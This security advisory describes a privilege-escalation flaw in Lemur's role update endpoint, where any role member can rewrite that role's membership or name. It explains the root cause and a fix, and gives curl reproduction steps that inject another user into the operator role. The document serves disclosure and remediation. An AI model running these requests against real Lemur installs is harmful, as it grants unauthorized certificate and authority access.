Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/<id>

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

Impact

A user who is a member of role X can:

• Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
• Remove other users from role X, denying their access (availability / governance impact).
• Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

2. Authenticate as alice and capture the JWT:

   bash

   curl -X POST https://lemur.local/api/1/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"alice","password":"<alice_pw>"}'

3. Confirm the initial state - bob is not a member of operator:

   bash

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: alice present in users list, bob absent

4. As alice, send a PUT that injects bob into the operator role:

   bash

   curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
        -H "Authorization: Bearer <alice_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "name": "operator",
              "description": "modified by alice",
              "users": [{"id": <alice_id>}, {"id": <bob_id>}]
            }'
   # observe: HTTP 200

5. Confirm bob is now a member of operator:

   bash

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: bob now present in users list

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.